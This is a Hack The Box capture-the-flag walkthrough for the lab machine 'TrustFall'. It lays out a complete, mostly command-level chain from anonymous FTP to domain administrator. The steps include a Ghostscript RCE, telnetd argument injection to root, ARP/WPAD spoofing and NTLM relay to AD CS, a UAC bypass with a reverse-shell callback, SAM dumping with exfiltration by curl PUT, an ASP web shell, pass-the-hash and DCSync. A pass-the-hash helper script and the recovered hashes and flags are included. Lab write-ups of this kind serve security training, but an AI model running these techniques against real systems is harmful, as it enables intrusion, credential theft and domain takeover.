trustfall walkthrough

This walkthrough documents the shortest confirmed route through the Hack The Box machine TrustFall

The route is:

anonymous FTP
  -> leaked mail hashes and password pattern
  -> Salvador's Roundcube mailbox
  -> osTicket/mPDF file read + Ghostscript RCE
  -> osTicket database attachment containing Martin's SSH key
  -> GNU Inetutils telnetd argument injection -> root on ticket01
  -> private Hyper-V network + WPAD NTLM relay to AD CS
  -> Emma's certificate and RDP session on WS01
  -> writable scheduled-task script + UAC bypass -> WS01 local admin
  -> WS01 SAM hash reuse -> domain user Tom on DC01
  -> writable WSUS web content -> ASP as Network Service
  -> DC01 machine certificate -> DCSync Administrator
  -> root.txt

Add the HTTP virtual hosts to /etc/hosts:

printf '%s\n' "$TARGET trustfall.htb ticket.trustfall.htb mailsrv.trustfall.htb" | \
  sudo tee -a /etc/hosts

Why: Apache uses name-based virtual hosting. An IP-only request reaches the wrong site, while these names select the main site, osTicket, and Roundcube respectively.

The important tools used below are:

1. Enumerate the public host

Start with a complete TCP scan, then examine the exposed services in more detail:

nmap -Pn -n -p- --min-rate 1500 --max-retries 2 -T4 \
  -oA trustfall-full-tcp "$TARGET"

nmap -Pn -n -sV -sC -p21,22,80 --version-all \
  -oA trustfall-services "$TARGET"

nmap -Pn -n -p21,22,80 \
  --script ftp-anon,ftp-syst,http-methods,http-headers,http-robots.txt,http-enum,ssh-auth-methods \
  -oA trustfall-enum "$TARGET"

What these do:

The exposed services are FTP on 21, SSH on 22, and HTTP on 80. FTP permits anonymous authentication.

2. Download the leaked mail migration backup

The FTP server advertises an incorrect address in its PASV response. Tell curl to ignore that address and reuse the real control-channel peer:

mkdir -p loot/mail_migration_backup_2026

curl --ftp-skip-pasv-ip --user anonymous: \
  "ftp://$TARGET/"

curl --ftp-skip-pasv-ip --user anonymous: \
  -o loot/mail_migration_rollback_backup.tar.gz \
  "ftp://$TARGET/mail_migration_rollback_backup.tar.gz"

tar -tzf loot/mail_migration_rollback_backup.tar.gz
tar -xzf loot/mail_migration_rollback_backup.tar.gz \
  -C loot/mail_migration_backup_2026

Why: the backup contains both password hashes and the exact corporate password construction:

CompanyName + DEPARTMENT + FirstName + BirthYear + !

Normalize the Dovecot records into the user:hash form John understands:

sed -E 's/:\{MD5-CRYPT\}/:/; s/:5000:.*$//' \
  loot/mail_migration_backup_2026/dovecot-users \
  > loot/trustfall-md5crypt.txt

Crack Salvador's hash with John (the other recovered hashes are not needed for the foothold):

python3 trustfall_candidates.py | \
  john --stdin --format=md5crypt-long \
  --users='salvador@trustfall.htb' \
  --session=trustfall-salvador loot/trustfall-md5crypt.txt

john --show --format=md5crypt-long \
  --users='salvador@trustfall.htb' loot/trustfall-md5crypt.txt

Why md5crypt-long: the generated corporate passwords are longer than the accelerated MD5-Crypt format's usual 15-character limit. The custom candidate generator uses the leaked company, department, first-name, and birth-year structure instead of wasting time on a generic wordlist.

The useful result is:

salvador@trustfall.htb : TrustFallHRSalvador1988!

3. Establish authenticated access to Roundcube and osTicket

Log into Roundcube at http://mailsrv.trustfall.htb/ with:

salvador@trustfall.htb
TrustFallHRSalvador1988!

On a new machine instance, the osTicket web account does not exist yet. At http://ticket.trustfall.htb/, register Salvador with:

Email:    salvador@trustfall.htb
Password: TrustFallPortalSalvador2026!

Open the “Welcome to TrustFall Service Desk” message in Salvador's Roundcube inbox and follow its confirmation link. Then log into osTicket with the portal password.

Why both applications matter:

4. Run the Ghostscript exploit and dump both databases

The custom exploit combines two vulnerabilities:

  1. osTicket 1.18.2 with mPDF 8.0.15 permits an authenticated php://filter file read when rendering a crafted list-style image into a PDF.
  2. Ghostscript 10.02.1 has a signed-integer wrap in its CIDMap processing. Four two-byte underwrites forge a string reference; a final write clears gs_lib_ctx_core.path_control_active, allowing %pipe% command execution despite -dSAFER.

The file-read helper uses Horizon3.ai's CVE-2026-22200 payload generator. Check it out once and verify the expected script is present:

git clone https://github.com/horizon3ai/CVE-2026-22200.git \
  /tmp/CVE-2026-22200
test -f /tmp/CVE-2026-22200/osticket_ticket_payload_gen.py

Why: the repository's TrustFall scripts automate the HTTP and PDF workflow, while this upstream script constructs the vulnerable mPDF list-style payload placed in each ticket.

Run the complete live-calibrated exploit. Use a unique tag, because it becomes part of every temporary filename:

python3 tools/trustfall_pipe_rce.py \
  --ip "$TARGET" \
  --tag=-solve \
  --verify-calibration \
  --thumbnail-delay 4 \
  --gs-start-delay 1 \
  --pointer-timeout 120 \
  --trigger-timeout 300 \
  --ticket-cooldown 2 \
  --roundcube-cookie /tmp/trustfall-roundcube.cookie \
  --osticket-cookie /tmp/trustfall-osticket.cookie \
  --payload-generator /tmp/CVE-2026-22200/osticket_ticket_payload_gen.py

What the command does:

A successful run ends with a line like:

RCE CONFIRMED: uid=33(www-data) ...

Download the manifest first. It contains the exact chunk names for this run, so the procedure remains correct even when the database size differs between machine instances:

python3 tools/osticket_file_exfil.py \
  --ip "$TARGET" \
  --cookie-jar /tmp/trustfall-osticket.cookie \
  --generator /tmp/CVE-2026-22200/osticket_ticket_payload_gen.py \
  --encoding b64 --batch-size 1 \
  --output loot/trustfall-db-manifest \
  /tmp/trustfall-dbmanifest-solve.txt

Extract the remote chunk paths from the manifest and pass that array to the file-read helper:

MANIFEST=loot/trustfall-db-manifest/rootfs/tmp/trustfall-dbmanifest-solve.txt
mapfile -t DB_CHUNKS < <(
  sed -n '/^\/tmp\/trustfall-dbchunk-solve-[0-9][0-9][0-9]$/p' "$MANIFEST"
)
printf 'Found %d chunks\n' "${#DB_CHUNKS[@]}"

python3 tools/osticket_file_exfil.py \
  --ip "$TARGET" \
  --cookie-jar /tmp/trustfall-osticket.cookie \
  --generator /tmp/CVE-2026-22200/osticket_ticket_payload_gen.py \
  --encoding b64 --batch-size 6 \
  --output loot/trustfall-db-chunks \
  "${DB_CHUNKS[@]}"

The manifest also records the expected size and SHA-256 hash. Recreate the array, append the local copies in manifest order, and verify the result:

mkdir -p loot/trustfall-db
MANIFEST=loot/trustfall-db-manifest/rootfs/tmp/trustfall-dbmanifest-solve.txt
mapfile -t DB_CHUNKS < <(
  sed -n '/^\/tmp\/trustfall-dbchunk-solve-[0-9][0-9][0-9]$/p' "$MANIFEST"
)

: > loot/trustfall-db/trustfall.sql.gz
for remote_chunk in "${DB_CHUNKS[@]}"; do
  cat "loot/trustfall-db-chunks/rootfs/${remote_chunk#/}" \
    >> loot/trustfall-db/trustfall.sql.gz
done

EXPECTED_SHA256=$(sed -n '1s/ .*//p' "$MANIFEST")
printf '%s  %s\n' "$EXPECTED_SHA256" \
  loot/trustfall-db/trustfall.sql.gz | sha256sum -c -
gzip -t loot/trustfall-db/trustfall.sql.gz
gzip -cd loot/trustfall-db/trustfall.sql.gz \
  > loot/trustfall-db/trustfall.sql

rg -n '^-- Current Database:|^-- Dump completed' \
  loot/trustfall-db/trustfall.sql

Why split the dump: a single large mPDF response is truncated by osTicket's attachment storage. Small numbered pieces survive intact and can be checked against the target-generated manifest.

5. Recover Martin's SSH private key

Search the SQL dump for the support ticket and attachment metadata:

rg -n -i 'SSH access failing|ssh_debug|ost_file_chunk' \
  loot/trustfall-db/trustfall.sql

The useful attachment is osTicket file ID 4. Extract only that BLOB, identify it, and unpack it:

mkdir -p loot/osticket-files loot/martin-key

python3 tools/extract_osticket_files.py \
  --ids 4 \
  loot/trustfall-db/trustfall.sql \
  loot/osticket-files

file loot/osticket-files/ost_file_04.bin
cp loot/osticket-files/ost_file_04.bin \
  loot/martin-key/ssh_debug.tar.gz

tar -xzf loot/martin-key/ssh_debug.tar.gz \
  -C loot/martin-key

chmod 600 loot/martin-key/.ssh/id_ed25519
ssh-keygen -lf loot/martin-key/.ssh/id_ed25519

Why trust this key: the private key is unencrypted, its derived public key matches both the included .pub file and authorized_keys, and its comment identifies martin@ticket01.

Log in:

export KEY="$PWD/loot/martin-key/.ssh/id_ed25519"

ssh -o StrictHostKeyChecking=no \
  -i "$KEY" martin@"$TARGET"

Confirm the foothold:

id
hostname

Expected identity: uid=1000(martin) on ticket01.

6. Escalate to root on ticket01

TCP/23 is filtered from the VPN, but Martin can reach the local Telnet daemon. GNU Inetutils passes the Telnet USER environment value as arguments to /bin/login. Supplying USER="-f root" therefore turns the value into login options rather than a username.

Run this from the attacker machine:

ssh -tt -o StrictHostKeyChecking=no \
  -i "$KEY" martin@"$TARGET" \
  'env USER="-f root" TERM=xterm /usr/local/bin/telnet -a 127.0.0.1 23'

Then verify the new shell:

id
whoami

Expected result:

uid=0(root) gid=0(root) groups=0(root)

Why it works: Telnet automatic login sends the attacker-controlled USER value through NEW-ENVIRON. telnetd constructs /bin/login -p -h <host> -f root; login interprets -f root as “authenticate root without asking for a password.” This is argument injection, not shell metacharacter injection.

The Linux root shell is an intermediate pivot. The HTB user flag is on WS01, not in /home/martin.

7. Discover and prepare the private Hyper-V network

In the root Telnet shell, bring up the dormant NIC and assign the known unused pivot address:

ip link set eth0 up
ip address add 192.168.1.116/24 dev eth0 2>/dev/null || true
ip -br address show dev eth0

tcpdump -ni eth0 'arp or tcp'

The relevant private systems are:

Host Address Purpose
ticket01 192.168.1.116 Compromised Linux pivot
DC01 192.168.1.32 Domain controller and AD CS server
WS01 192.168.1.64 User workstation containing the user flag
WS02 192.168.1.37 Offline workstation address, safe to impersonate

Passive traffic shows WS01 repeatedly looking for the absent WS02. Claim that unused address:

ip address add 192.168.1.37/24 dev eth0 2>/dev/null || true
ip -br address show dev eth0

Copy the two narrowly scoped interception helpers to ticket01 from the attacker machine:

scp -i "$KEY" \
  tools/arp_mitm_pair.py tools/wpad_dns_spoof.py \
  martin@"$TARGET":/tmp/

The private network has no direct route from the attacker and ticket01 has no PyPI access. Build a Python 3.12 wheelhouse locally, copy it to Martin's home directory, and create the pivot tool environment there:

mkdir -p loot/trustfall-pivot-wheels

python3 -m pip download \
  --dest loot/trustfall-pivot-wheels \
  --python-version 312 \
  --platform manylinux_2_17_x86_64 \
  --implementation cp \
  --only-binary=:all: \
  'impacket==0.13.1' 'certipy-ad==5.0.4'

scp -i "$KEY" -r loot/trustfall-pivot-wheels \
  martin@"$TARGET":/home/martin/

ssh -i "$KEY" martin@"$TARGET" '
  python3 -m venv /home/martin/trustfall-venv
  /home/martin/trustfall-venv/bin/pip install \
    --no-index \
    --find-links /home/martin/trustfall-pivot-wheels \
    "impacket==0.13.1" "certipy-ad==5.0.4"
'

The supplied workspace also contains the compatibility fix used during the solve. Copy it over Impacket's AD CS relay module:

scp -i "$KEY" \
  tools/impacket-patched/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py \
  martin@"$TARGET":/home/martin/trustfall-venv/lib/python3.12/site-packages/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py

ssh -i "$KEY" martin@"$TARGET" '
  /home/martin/trustfall-venv/bin/ntlmrelayx.py -h >/dev/null
  /home/martin/trustfall-venv/bin/certipy -v
'

Why: ntlmrelayx.py, smbclient.py, secretsdump.py, changepasswd.py, and Certipy must run on ticket01 so they can reach 192.168.1.0/24. The replacement AD CS module avoids the removed legacy pyOpenSSL CSR API when the relay generates its certificate request.

8. Relay Emma's WPAD authentication to AD CS

This is the key lateral-movement step. WS01 periodically performs proxy auto-discovery. We place ticket01 between WS01 and DC01 using ARP replies, answer only wpad.trustfall.htb, serve a PAC file, and relay the later proxy authentication to AD CS Web Enrollment.

Start the AD CS relay

Start the relay from a normal Martin SSH session using the environment staged above. Running it as Martin keeps the resulting PFX readable and easy to copy back:

ssh -i "$KEY" martin@"$TARGET" '
  mkdir -p /tmp/trustfall-wpad/loot
  cd /tmp/trustfall-wpad
  nohup sh -c '\''tail -f /dev/null | \
    /home/martin/trustfall-venv/bin/ntlmrelayx.py \
      -ts -debug \
      -ip 0.0.0.0 --http-port 8080 \
      --no-smb-server --no-wcf-server --no-raw-server --no-rpc-server \
      --no-winrm-server --no-mssql-server --no-rdp-server \
      --keep-relaying \
      -wh 192.168.1.37 -wa 0 \
      -t https://192.168.1.32/certsrv/certfnsh.asp \
      --adcs \
      -l /tmp/trustfall-wpad/loot'\'' \
    > /tmp/trustfall-wpad/relay.log 2>&1 &
'

Important options:

Intercept only the needed traffic

In the root Telnet shell, enable same-interface forwarding and add narrow rules:

sysctl -w net.ipv4.ip_forward=1

iptables -I FORWARD 1 -i eth0 -o eth0 \
  -s 192.168.1.64 -d 192.168.1.32 -j ACCEPT
iptables -I FORWARD 1 -i eth0 -o eth0 \
  -s 192.168.1.32 -d 192.168.1.64 -j ACCEPT

iptables -I INPUT 1 -i eth0 \
  -s 192.168.1.64 -d 192.168.1.37 \
  -p tcp -m multiport --dports 80,8080 -j ACCEPT

iptables -I FORWARD 1 -i eth0 -o eth0 \
  -s 192.168.1.32 -d 192.168.1.64 \
  -p udp --sport 53 -m string --algo bm --string wpad -j DROP

iptables -t nat -I PREROUTING 1 -i eth0 \
  -s 192.168.1.64 -d 192.168.1.37 \
  -p tcp --dport 80 -j REDIRECT --to-ports 8080

Why: ARP MITM makes WS01/DC01 traffic traverse ticket01. The input rule admits only WS01's PAC and proxy connections to the impersonated address. The DNS-response rule drops only DC01's competing answer when the query contains wpad; the custom spoofer then wins that single lookup. The NAT rule redirects only WS01's HTTP connection to the impersonated WS02 address.

Start the ARP and DNS helpers as root:

nohup python3 /tmp/arp_mitm_pair.py \
  --iface eth0 \
  --a-ip 192.168.1.64 --a-mac 00:15:5d:b3:46:01 \
  --b-ip 192.168.1.32 --b-mac 00:15:5d:b3:46:04 \
  --interval 1 \
  > /tmp/trustfall-wpad-arp.log 2>&1 &

nohup python3 /tmp/wpad_dns_spoof.py \
  --iface eth0 \
  --victim-ip 192.168.1.64 --victim-mac 00:15:5d:b3:46:01 \
  --dns-ip 192.168.1.32 \
  --name wpad.trustfall.htb \
  --answer 192.168.1.37 \
  > /tmp/trustfall-wpad-dns.log 2>&1 &

Force a short connectivity transition so Windows reruns NCSI and WPAD instead of keeping its previous negative DNS cache:

iptables -I FORWARD 1 -i eth0 -o eth0 \
  -s 192.168.1.64 -d 192.168.1.32 -j DROP
iptables -I FORWARD 1 -i eth0 -o eth0 \
  -s 192.168.1.32 -d 192.168.1.64 -j DROP

sleep 45

iptables -D FORWARD -i eth0 -o eth0 \
  -s 192.168.1.64 -d 192.168.1.32 -j DROP
iptables -D FORWARD -i eth0 -o eth0 \
  -s 192.168.1.32 -d 192.168.1.64 -j DROP

Watch the relay from the attacker machine:

ssh -i "$KEY" martin@"$TARGET" \
  'tail -f /tmp/trustfall-wpad/relay.log'

Allow up to about ten minutes for the next proxy-discovery cycle. Success looks like:

Authenticating connection from TRUSTFALL/EMMA.WILLIAMS@192.168.1.64 ... SUCCEED
Using template name: User
GOT CERTIFICATE!
Writing PKCS#12 certificate to .../EMMA.WILLIAMS.pfx

Copy the certificate back:

mkdir -p loot/trustfall-wpad
scp -i "$KEY" \
  martin@"$TARGET":/tmp/trustfall-wpad/loot/EMMA.WILLIAMS.pfx \
  loot/trustfall-wpad/EMMA.WILLIAMS.pfx

Convert Emma's certificate into a usable password

Copy the PFX to ticket01 and authenticate directly to the private DC:

scp -i "$KEY" loot/trustfall-wpad/EMMA.WILLIAMS.pfx \
  martin@"$TARGET":/tmp/EMMA.WILLIAMS.pfx

ssh -i "$KEY" martin@"$TARGET" '
  cd /tmp
  /home/martin/trustfall-venv/bin/certipy auth \
    -pfx /tmp/EMMA.WILLIAMS.pfx \
    -dc-ip 192.168.1.32 \
    -username emma.williams \
    -domain trustfall.htb
'

Certipy uses PKINIT to obtain a TGT, then retrieves Emma's NT hash through the Kerberos user-to-user mechanism. The recovered hash was:

9148a2275eb4cb620a76557b2512993f

Emma's account was marked for password change, so set a known password through authenticated SAMR:

ssh -i "$KEY" martin@"$TARGET" '
  /home/martin/trustfall-venv/bin/changepasswd.py \
    -protocol smb-samr \
    -hashes aad3b435b51404eeaad3b435b51404ee:9148a2275eb4cb620a76557b2512993f \
    -newpass '\''TrustFall!Emma2026#RDP'\'' \
    '\''TRUSTFALL/emma.williams@192.168.1.32'\''
'

Why change it: certificate authentication proves control of the AD account, but Windows blocks an interactive RDP logon while the password-expired/change-required flag is set. A self-service password change clears that condition.

Stop the relay and poisoning helpers after obtaining the PFX. Keep the .37 address because the later payload uses it as its callback address:

# Run in the ticket01 root shell.
pkill -f 'arp_mitm_pair.py' 2>/dev/null || true
pkill -f 'wpad_dns_spoof.py' 2>/dev/null || true
pkill -f 'ntlmrelayx.py.*http-port 8080' 2>/dev/null || true

iptables -t nat -D PREROUTING -i eth0 \
  -s 192.168.1.64 -d 192.168.1.37 \
  -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -D FORWARD -i eth0 -o eth0 \
  -s 192.168.1.32 -d 192.168.1.64 \
  -p udp --sport 53 -m string --algo bm --string wpad -j DROP
iptables -D INPUT -i eth0 \
  -s 192.168.1.64 -d 192.168.1.37 \
  -p tcp -m multiport --dports 80,8080 -j ACCEPT

9. RDP to WS01 as Emma

Create local forwards through Martin's SSH session:

ssh -fN \
  -o ExitOnForwardFailure=yes \
  -o ServerAliveInterval=15 \
  -o StrictHostKeyChecking=no \
  -i "$KEY" \
  -L 13390:192.168.1.64:3389 \
  -L 15987:192.168.1.32:5985 \
  -L 18530:192.168.1.32:8530 \
  martin@"$TARGET"

Why: the Windows hosts are not reachable from the VPN. SSH carries RDP, WinRM, and the WSUS HTTP site through ticket01.

Connect to WS01:

mkdir -p loot/trustfall-emma-rdp

xfreerdp3 \
  /v:127.0.0.1:13390 \
  /u:emma.williams /d:TRUSTFALL \
  '/p:TrustFall!Emma2026#RDP' \
  /cert:ignore /sec:nla \
  '/auth-pkg-list:ntlm,!kerberos,!u2u' \
  /dynamic-resolution +clipboard \
  /drive:loot,"$PWD/loot/trustfall-emma-rdp"

The /drive option makes the local loot directory available in Windows as \\tsclient\loot, which gives us a simple way to stage the WS01 privilege-escalation payload.

10. Abuse TASK01 and obtain the user flag

Open PowerShell in Emma's RDP session and enumerate the custom task:

Get-ScheduledTask -TaskName TASK01 | Format-List *
Export-ScheduledTask -TaskName TASK01
icacls 'C:\Users\ws01\Music\script01.ps1'

The decisive facts are:

Compile the provided callback on the attacker machine if the executable is not already present:

x86_64-w64-mingw32-gcc -Os -s -mwindows \
  loot/trustfall-emma-rdp/diagnostic4445.c \
  -o loot/trustfall-emma-rdp/diagnostic4445.exe \
  -lws2_32

The provided task01-lpe.ps1 creates the per-user ms-settings\Shell\Open\command handler and launches auto-elevating fodhelper.exe. Fodhelper starts diagnostic4445.exe with the high-integrity half of the local administrator's split token.

ticket01 has no Netcat package, so copy the attack machine's statically linked BusyBox binary there under the name nc:

file /usr/sbin/busybox
scp -i "$KEY" /usr/sbin/busybox martin@"$TARGET":/tmp/nc
ssh -i "$KEY" martin@"$TARGET" 'chmod 700 /tmp/nc'

Why the filename matters: BusyBox is a multi-call binary and chooses its applet from argv[0]. Naming the copy nc makes a normal /tmp/nc ... invocation run its Netcat implementation. Confirm that file reports a statically linked x86-64 binary before copying it, so it does not depend on libraries absent from ticket01.

Allow the callback through ticket01's firewall and start a listener from the root shell:

iptables -I INPUT 1 -i eth0 -s 192.168.1.64 \
  -d 192.168.1.37 -p tcp --dport 4445 -j ACCEPT

/tmp/nc -nvl -s 192.168.1.37 -p 4445

Back in Emma's PowerShell window, preserve the original task script, copy the two payload files from the redirected drive, and replace the task script:

Copy-Item 'C:\Users\ws01\Music\script01.ps1' 'C:\Users\Public\script01.original.ps1' -Force
Copy-Item '\\tsclient\loot\diagnostic4445.exe' 'C:\Users\Public\diagnostic4445.exe' -Force
Copy-Item '\\tsclient\loot\task01-lpe.ps1' 'C:\Users\ws01\Music\script01.ps1' -Force

Wait for the next one-minute trigger. In the callback shell, verify that UAC was crossed:

whoami
whoami /groups
whoami /priv

Look for BUILTIN\Administrators enabled, High Mandatory Level, and enabled SeDebugPrivilege/SeImpersonatePrivilege.

Restore the original script immediately, then read the user flag:

copy /Y C:\Users\Public\script01.original.ps1 C:\Users\ws01\Music\script01.ps1
type C:\Users\Administrator\Desktop\user.txt

The recovered user flag was:

273918993378b39afcb3ef3478783f4b

11. Dump WS01's local SAM and pivot to Tom

From the same high-integrity WS01 shell, save the registry hives needed for offline SAM decryption:

reg save HKLM\SAM C:\Users\Public\SAM.hive /y
reg save HKLM\SYSTEM C:\Users\Public\SYSTEM.hive /y
reg save HKLM\SECURITY C:\Users\Public\SECURITY.hive /y

powershell -NoProfile -Command "Compress-Archive -Force -Path C:\Users\Public\SAM.hive,C:\Users\Public\SYSTEM.hive,C:\Users\Public\SECURITY.hive -DestinationPath C:\Users\Public\ws01-hives.zip"

Start the repository's minimal HTTP PUT receiver on ticket01. Run this from a Martin SSH shell and allow it through the root firewall:

# As root on ticket01:
iptables -I INPUT 1 -i eth0 -s 192.168.1.64 \
  -d 192.168.1.37 -p tcp --dport 18002 -j ACCEPT

# From the attacker machine:
scp -i "$KEY" tools/http_put_server.py martin@"$TARGET":/tmp/
ssh -i "$KEY" martin@"$TARGET" \
  'mkdir -p /tmp/ws01-upload && python3 /tmp/http_put_server.py --bind 192.168.1.37 --port 18002 --output-dir /tmp/ws01-upload'

The final SSH command stays in the foreground to show each upload. Leave it running in its own terminal; use a second terminal for the following scp and extraction commands.

Upload the archive from the WS01 administrator shell:

curl.exe -T C:\Users\Public\ws01-hives.zip http://192.168.1.37:18002/ws01-hives.zip

Copy it to the attacker and decrypt the SAM:

mkdir -p loot/trustfall-ws01-admin/hives

scp -i "$KEY" \
  martin@"$TARGET":/tmp/ws01-upload/ws01-hives.zip \
  loot/trustfall-ws01-admin/ws01-hives.zip

unzip -o loot/trustfall-ws01-admin/ws01-hives.zip \
  -d loot/trustfall-ws01-admin/hives

secretsdump.py \
  -sam loot/trustfall-ws01-admin/hives/SAM.hive \
  -system loot/trustfall-ws01-admin/hives/SYSTEM.hive \
  -security loot/trustfall-ws01-admin/hives/SECURITY.hive \
  LOCAL

The important local entry is:

tom.k-local:1004:aad3b435b51404eeaad3b435b51404ee:dff29eb8bccf74240556221ef322573e:::

The naming is a clue. Test the local Tom hash against the similarly named domain account on DC01. Run the client on ticket01 because DC01 is reachable only from the private network:

ssh -i "$KEY" martin@"$TARGET" '
  /home/martin/trustfall-venv/bin/smbclient.py \
    -hashes aad3b435b51404eeaad3b435b51404ee:dff29eb8bccf74240556221ef322573e \
    -no-pass -inputfile /dev/null \
    '\''TRUSTFALL/tom.k@192.168.1.32'\''
'

-inputfile /dev/null makes the client exit after authentication instead of opening its interactive mini-shell. Seeing no logon error confirms that the reused hash is valid.

Why it works: the password is reused between two distinct principals—local WS01\tom.k-local and domain TRUSTFALL\tom.k. Domain Tom is a member of DC01's Remote Management Users, so the reused NT hash gives a WinRM shell on the domain controller.

Create a small Python environment for the supplied PSRP pass-the-hash helper:

python3 -m venv /tmp/trustfall-psrp
/tmp/trustfall-psrp/bin/pip install pypsrp

Use the existing 15987 SSH forward to verify DC01 access:

NO_PROXY='*' /tmp/trustfall-psrp/bin/python \
  tools/psrp_hash_exec.py \
  --server 127.0.0.1 --port 15987 \
  --username 'TRUSTFALL\tom.k' \
  --hashes 'aad3b435b51404eeaad3b435b51404ee:dff29eb8bccf74240556221ef322573e' \
  'hostname; whoami; whoami /groups'

Expected host and identity: DC01 and trustfall\tom.k.

12. Turn writable WSUS content into DC01's machine certificate

Tom is not an administrator, but BUILTIN\Users can create files and directories under the WSUS content root. Confirm that from the WinRM session:

NO_PROXY='*' /tmp/trustfall-psrp/bin/python \
  tools/psrp_hash_exec.py \
  --server 127.0.0.1 --port 15987 \
  --username 'TRUSTFALL\tom.k' \
  --hashes 'aad3b435b51404eeaad3b435b51404ee:dff29eb8bccf74240556221ef322573e' \
  'icacls "C:\WSUS\WsusContent"; New-Item -ItemType Directory -Force "C:\WSUS\WsusContent\tf-dc01-cert" | Out-Null'

The directory is exposed by IIS beneath http://localhost:8530/Content/. Static content works immediately, but ASP is initially denied. A child web.config can enable the already installed script handler for only our directory.

Generate a key and CSR locally

Keep the private key on the attacker machine. Only the CSR needs to reach DC01:

mkdir -p loot/trustfall-dc01-cert

openssl req -new -newkey rsa:2048 -nodes \
  -keyout loot/trustfall-dc01-cert/dc01.key \
  -out loot/trustfall-dc01-cert/dc01.req \
  -subj '/CN=dc01.trustfall.htb'

Why generate it locally: the IIS worker only needs to submit the public CSR. Retaining the private key lets us combine it with the returned certificate without depending on the worker's certificate store.

Create the three small web files locally:

cat > /tmp/trustfall-web.config <<'EOF'
<configuration>
  <system.webServer>
    <handlers accessPolicy="Read, Script" />
  </system.webServer>
</configuration>
EOF

cat > /tmp/trustfall-submit.cmd <<'EOF'
@echo off
certreq.exe -submit -config "dc01.trustfall.htb\trustfall-DC01-CA" -attrib "CertificateTemplate:KerberosAuthentication" "C:\WSUS\WsusContent\tf-dc01-cert\dc01.req" "C:\WSUS\WsusContent\tf-dc01-cert\dc01-issued.cer" > "C:\WSUS\WsusContent\tf-dc01-cert\submit.log" 2>&1
exit /b %errorlevel%
EOF

cat > /tmp/trustfall-submit.asp <<'EOF'
<%
Set shell = CreateObject("WScript.Shell")
rc = shell.Run("cmd.exe /c C:\WSUS\WsusContent\tf-dc01-cert\submit.cmd", 0, True)
Response.ContentType = "text/plain"
Response.Write("exit=" & rc)
%>
EOF

Push the files through Tom's WinRM session:

for spec in \
  '/tmp/trustfall-web.config|C:\WSUS\WsusContent\tf-dc01-cert\web.config' \
  '/tmp/trustfall-submit.cmd|C:\WSUS\WsusContent\tf-dc01-cert\submit.cmd' \
  '/tmp/trustfall-submit.asp|C:\WSUS\WsusContent\tf-dc01-cert\submit.asp' \
  'loot/trustfall-dc01-cert/dc01.req|C:\WSUS\WsusContent\tf-dc01-cert\dc01.req'
do
  local_path=${spec%%|*}
  remote_path=${spec#*|}
  NO_PROXY='*' /tmp/trustfall-psrp/bin/python \
    tools/psrp_hash_push.py \
    --server 127.0.0.1 --port 15987 \
    --username 'TRUSTFALL\tom.k' \
    --hashes 'aad3b435b51404eeaad3b435b51404ee:dff29eb8bccf74240556221ef322573e' \
    "$local_path" "$remote_path"
done

Trigger the ASP page from DC01 itself:

NO_PROXY='*' /tmp/trustfall-psrp/bin/python \
  tools/psrp_hash_exec.py \
  --server 127.0.0.1 --port 15987 \
  --username 'TRUSTFALL\tom.k' \
  --hashes 'aad3b435b51404eeaad3b435b51404ee:dff29eb8bccf74240556221ef322573e' \
  'cmd.exe /c "curl.exe -sS --max-time 45 http://localhost:8530/Content/tf-dc01-cert/submit.asp & type C:\WSUS\WsusContent\tf-dc01-cert\submit.log"'

Expected output includes:

exit=0
RequestId: 17
Certificate retrieved(Issued) Issued

Why this becomes the DC machine identity:

Download the issued certificate through the existing WSUS tunnel and pair it with the local key:

curl -sS \
  http://127.0.0.1:18530/Content/tf-dc01-cert/dc01-issued.cer \
  -o loot/trustfall-dc01-cert/dc01-issued.cer

openssl x509 \
  -in loot/trustfall-dc01-cert/dc01-issued.cer \
  -noout -issuer -serial -dates -ext subjectAltName

openssl pkcs12 -export \
  -inkey loot/trustfall-dc01-cert/dc01.key \
  -in loot/trustfall-dc01-cert/dc01-issued.cer \
  -out loot/trustfall-dc01-cert/dc01.pfx \
  -passout pass:'TrustFall-DC01-2026!'

13. Authenticate as DC01$, DCSync Administrator, and read the admin flag

Run certificate authentication from ticket01 so Kerberos reaches the private DC directly:

scp -i "$KEY" loot/trustfall-dc01-cert/dc01.pfx \
  martin@"$TARGET":/tmp/dc01.pfx

ssh -i "$KEY" martin@"$TARGET" '
  cd /tmp
  /home/martin/trustfall-venv/bin/certipy auth \
    -pfx /tmp/dc01.pfx \
    -password '\''TrustFall-DC01-2026!'\'' \
    -dc-ip 192.168.1.32 \
    -username '\''DC01$'\'' \
    -domain trustfall.htb
'

Certipy maps the SID extension to dc01$@trustfall.htb, obtains a TGT, and retrieves the live machine-account NT hash. The observed value was:

DC01$:14be05b910409bffb3934b9e3e6019a1

Do not blindly assume the machine hash is constant after a reset; use the value printed by your own Certipy run.

A domain controller computer account has directory-replication rights. Use the recovered hash for a deliberately narrow DCSync of only the built-in Administrator:

ssh -i "$KEY" martin@"$TARGET" '
  /home/martin/trustfall-venv/bin/secretsdump.py \
    -hashes aad3b435b51404eeaad3b435b51404ee:14be05b910409bffb3934b9e3e6019a1 \
    -just-dc-user Administrator \
    '\''TRUSTFALL/DC01$@192.168.1.32'\''
'

The recovered Administrator NT hash was:

8c689a8c5f009842d838798a8e18c615

Use that hash through the existing DC01 WinRM tunnel:

NO_PROXY='*' /tmp/trustfall-psrp/bin/python \
  tools/psrp_hash_exec.py \
  --server 127.0.0.1 --port 15987 \
  --username 'TRUSTFALL\Administrator' \
  --hashes 'aad3b435b51404eeaad3b435b51404ee:8c689a8c5f009842d838798a8e18c615' \
  'whoami; Get-Content "C:\Users\Administrator\Desktop\root.txt"'

The recovered administrator/root flag was:

aa102651c39ef94abc6ea5a198aeb4ab

tools/psrp_hash_exec.py

#!/usr/bin/env python3
"""Execute PowerShell over PSRP/WinRM using an NTLM LM:NT hash."""

import argparse

from pypsrp.powershell import PowerShell, RunspacePool
from pypsrp.wsman import WSMan


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--server", required=True)
    parser.add_argument("--port", type=int, default=5985)
    parser.add_argument("--username", required=True)
    parser.add_argument("--hashes", required=True)
    parser.add_argument("--configuration", default="Microsoft.PowerShell")
    parser.add_argument("script")
    args = parser.parse_args()

    connection = WSMan(
        args.server,
        port=args.port,
        ssl=False,
        auth="ntlm",
        username=args.username,
        password=args.hashes,
        encryption="auto",
        no_proxy=True,
    )
    with RunspacePool(connection, configuration_name=args.configuration) as pool:
        powershell = PowerShell(pool)
        powershell.add_script(args.script)
        output = powershell.invoke()
        for item in output:
            print(item)
